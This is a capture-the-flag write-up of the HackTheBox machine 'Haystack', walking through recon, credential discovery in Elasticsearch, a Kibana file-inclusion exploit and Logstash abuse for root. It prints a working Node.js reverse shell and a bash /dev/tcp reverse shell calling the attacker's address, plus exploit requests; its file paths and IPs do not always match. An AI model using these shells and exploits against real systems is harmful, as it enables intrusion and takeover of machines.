Haystack

#Linux #API #PortForwarding

Haystack is an easy-rated Linux machine from HackTheBox created by JoyDragon. In the current post, my IP is 10.10.14.16, and the target’s IP is 10.10.10.115

Recon

Local Terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 10.10.10.115 -oN Ports
Completed SYN Stealth Scan at 10:42, 26.55s elapsed (65535 total ports)
Nmap scan report for 10.10.10.115
Host is up, received echo-reply ttl 62 (0.17s latency).
Scanned at 2023-07-20 10:42:14 -04 for 27s
Not shown: 65532 filtered ports
Reason: 65501 no-responses and 31 host-prohibiteds
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 62
80/tcp   open  http    syn-ack ttl 62
9200/tcp open  wap-wsp syn-ack ttl 62

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 27.13 seconds
           Raw packets sent: 131053 (5.766MB) | Rcvd: 35 (2.392KB)
Local Terminal
nmap -sCV -p22,80,9200 10.10.10.115 -oN Target
Nmap scan report for 10.10.10.115
Host is up (0.17s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)
|   256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)
|_  256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)
80/tcp   open  http    nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (text/html).
9200/tcp open  http    nginx 1.12.2
| http-methods:
|_  Potentially risky methods: DELETE
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (application/json; charset=UTF-8).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.83 seconds

So! We have two ports open with http, and after searching about "OpenSSH 7.4 (protocol 2.0) launchpad", we are against a Ubuntu Sid (98), and there is an exploit CVE 2016-10009, but this is not important here.

Local Terminal
$ whatweb http://10.10.10.115
http://10.10.10.115 [200 OK] Country[RESERVED][ZZ], HTTPServer[nginx/1.12.2], 
IP[10.10.10.115], nginx[1.12.2]

$ whatweb http://10.10.10.115:9200
http://10.10.10.115:9200 [200 OK] Country[RESERVED][ZZ], ElasticSearch[6.4.2], 
HTTPServer[nginx/1.12.2], IP[10.10.10.115], nginx[1.12.2]

From whatweb output there is nothing relevant, let's explore the website.

Local Terminal
wfuzz -c -t 20 --hc 404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.115/FUZZ
Nothing!!

Exploitation

After searching about "elasticsearch API 6.4.2", instantly appears an "exploit"

Local Terminal
$ searchsploit elasticsearch

-------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                      |  Path
-------------------------------------------------------------------------------------------------------------------- ---------------------------------
ElasticSearch - Remote Code Execution                                                                               | linux/remote/36337.py
ElasticSearch - Remote Code Execution                                                                               | multiple/webapps/33370.html
ElasticSearch - Search Groovy Sandbox Bypass (Metasploit)                                                           | java/remote/36415.rb
ElasticSearch 1.6.0 - Arbitrary File Download                                                                       | linux/webapps/38383.py
ElasticSearch 7.13.3 - Memory disclosure                                                                            | multiple/webapps/50149.py
ElasticSearch < 1.4.5 / < 1.5.2 - Directory Traversal                                                               | php/webapps/37054.py
ElasticSearch Dynamic Script - Arbitrary Java Execution (Metasploit)                                                | java/remote/33588.rb
Elasticsearch ECE 7.13.3 - Anonymous Database Dump                                                                  | multiple/webapps/50152.py
-------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

$ searchsploit -p 36337
  Exploit: ElasticSearch - Remote Code Execution
      URL: https://www.exploit-db.com/exploits/36337
     Path: /usr/share/exploitdb/exploits/linux/remote/36337.py
    Codes: CVE-2015-1427, OSVDB-118239
 Verified: True
File Type: Python script, Unicode text, UTF-8 text executable
Copied EDB-ID #36337's path to the clipboard

$ mv /usr/share/exploitdb/exploits/linux/remote/36337.py exploit.py
Local Terminal
$ python2 exploit.py 10.10.10.115
$ whoami

ERROR!!

Ok, the exploit is not working, but by analyzing the python exploit, we got the following result:

Local Terminal
curl http://10.10.10.115:9200/_search | jq
{
  "took": 5,
  "timed_out": false,
  "_shards": {
    "total": 11,
    "successful": 11,
<...>

Nothing relevant yet

Local Terminal
curl http://10.10.10.115:9200/_search?pretty | jq -c '.hits.hits[]'

From the previous command, there is a lot of useless information, and the script is using ?pretty for _search?, maybe there are alternatives.

There is something like "Size" to increase the... well... size of the output.

Local Terminal
curl http://10.10.10.115:9200/_search?size=10000 | jq -c '.hits.hits[]'

DANGER! The previous commands return a lot of information... in spanish... maybe I should try to use grep with the word "clave" (Password)

Local Terminal
curl http://10.10.10.115:9200/_search?size=10000 | jq -c '.hits.hits[]' | grep 'clave'
{"_index":"quotes","_type":"quote","_id":"111","_score":1,"_source":{"quote":"Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="}}
{"_index":"quotes","_type":"quote","_id":"45","_score":1,"_source":{"quote":"Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "}}

Reverse Shell [Security]

My goodness, there are two hashes in clearly base64, the command used to decrypt is

echo <HASH> | base64 -d
  1. This password cannot be missed, I save it here: cGFzczogc3BhbmlzaC5pcy5rZXk

    [ pass: spanish.is.key ]

  2. I must save the machine's password: dXNlcjogc2VjdXJpdHkg

    [ user: security ]

Local Terminal
ssh security@10.10.10.115    # spanish.is.key
Target Terminal [security]
@haystack ~]$ cat user.txt
e89513c009011c503...

Privileges Escalation [Security > Kibana]

Perfect, we have the first flag, now let's explore the whole machine.

Target Terminal [security]
[security@haystack ~]$ id
uid=1000(security) gid=1000(security) groups=1000(security) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

[security@haystack ~]$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for security:
Sorry, user security may not run sudo on haystack.

[security@haystack ~]$ uname -a
Linux haystack 3.10.0-957.1.3.el7.x86_64 #1 SMP Thu Nov 29 14:49:43 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

[security@haystack ~]$ lsb_release -a
-bash: lsb_release: command not found

[security@haystack ~]$ cd /
[security@haystack /]$ find \-perm -4000 2>/dev/null
./usr/bin/chage
./usr/bin/gpasswd
./usr/bin/newgrp
./usr/bin/chsh
./usr/bin/chfn
./usr/bin/fusermount
./usr/bin/crontab
./usr/bin/mount
<...>

At first glance, there is nothing suspicious

Target Terminal [security]
[security@haystack var]$ cd /var/www/html
[security@haystack html]$ ls -la
total 184
drwxr-xr-x. 2 nginx nginx     42 Jan 25  2019 .
drwxr-xr-x. 3 nginx nginx     18 Nov 30  2018 ..
-rw-r--r--. 1 nginx nginx     55 Jan 25  2019 index.html
-rwxr--r--. 1 root  root  182982 Jan 25  2019 needle.jpg
# Nothing...

[security@haystack /]$ netstat -punta | grep LISTEN   # Or "ss -4 -l -n"
(No info could be read for "-p": geteuid()=1000 but you should be root.)
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:9200            0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:5601          0.0.0.0:*               LISTEN      -
tcp6       0      0 127.0.0.1:9000          :::*                    LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 127.0.0.1:9300          :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 127.0.0.1:9600          :::*                    LISTEN      -

There is something at the port :5601...

Target Terminal [security]
[security@haystack /]$ lsof -i tcp:5601
-bash: lsof: command not found  # Try Port Forwarding...
Local Terminal
ssh -L 5601:127.0.0.1:5601 security@10.10.10.115 -N

Got it! It's a Kibana... and at Management you can obtain the specific version

If you search for "kibana 6.5.4 exploit" you will find the following:

It says that at /api/console/api_server endpoint there is an LFI, we can create a file to execute another reverse shell, this machine is not using PHP so I had to find a way to make a reverse shell with JS.

Target Terminal [security]
vi /dev/shm/0xdf.js
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(443, "10.10.14.8", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/;
})();
Local Terminal
nc -nlvp 443
Target Terminal [security]
curl 'http://localhost:5601/api/console/api_server?apis=../../../../../../../../../tmp/shell.js'

And done, we are in a Kibana

Kibana > Root

Target Terminal [Kibana]
bash-4.2$ ps awuxx | grep logstash
root       6283 11.3 12.8 2719944 494640 ?

Logstash running as root, let's explore the config file.

Target Terminal [Kibana]
bash-4.2$ /etc/logstash/conf.d
bash-4.2$ cat input.conf
--------------------------
input {
        file {
                path => "/opt/kibana/logstash_*"
                start_position => "beginning"
                sincedb_path => "/dev/null"
                stat_interval => "10 second"
                type => "execute"
                mode => "read"
        }
}
--------------------------
bash-4.2$ cat filter.conf
--------------------------
filter {
        if [type] == "execute" {
                grok {
                        match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
                }
        }
}
--------------------------
bash-4.2$ cat output.conf
--------------------------
output {
        if [type] == "execute" {
                stdout { codec => json }
                exec {
                        command => "%{comando} &"
                }
        }
}
--------------------------

So, long story short, those files read a file, /opt/kibana/logstash_*, and if the content of the file follow the structure “Ejecutar\scomando\s:\s+%{GREEDYDATA:comando}", it will execute the command.

Local Terminal
nc -nlvp 443
Target Terminal [Kibana]
bash-4.2$ echo "Ejecutar comando: bash -c 'bash -i >& /dev/tcp/10.10.14.8/443 0>&1'" > /opt/kibana/logstash_0xdf

After a few seconds, your Local Terminal will be "Target Terminal [Root]

Target Terminal [root]
[root@haystack ~]# cat root.txt 

Last updated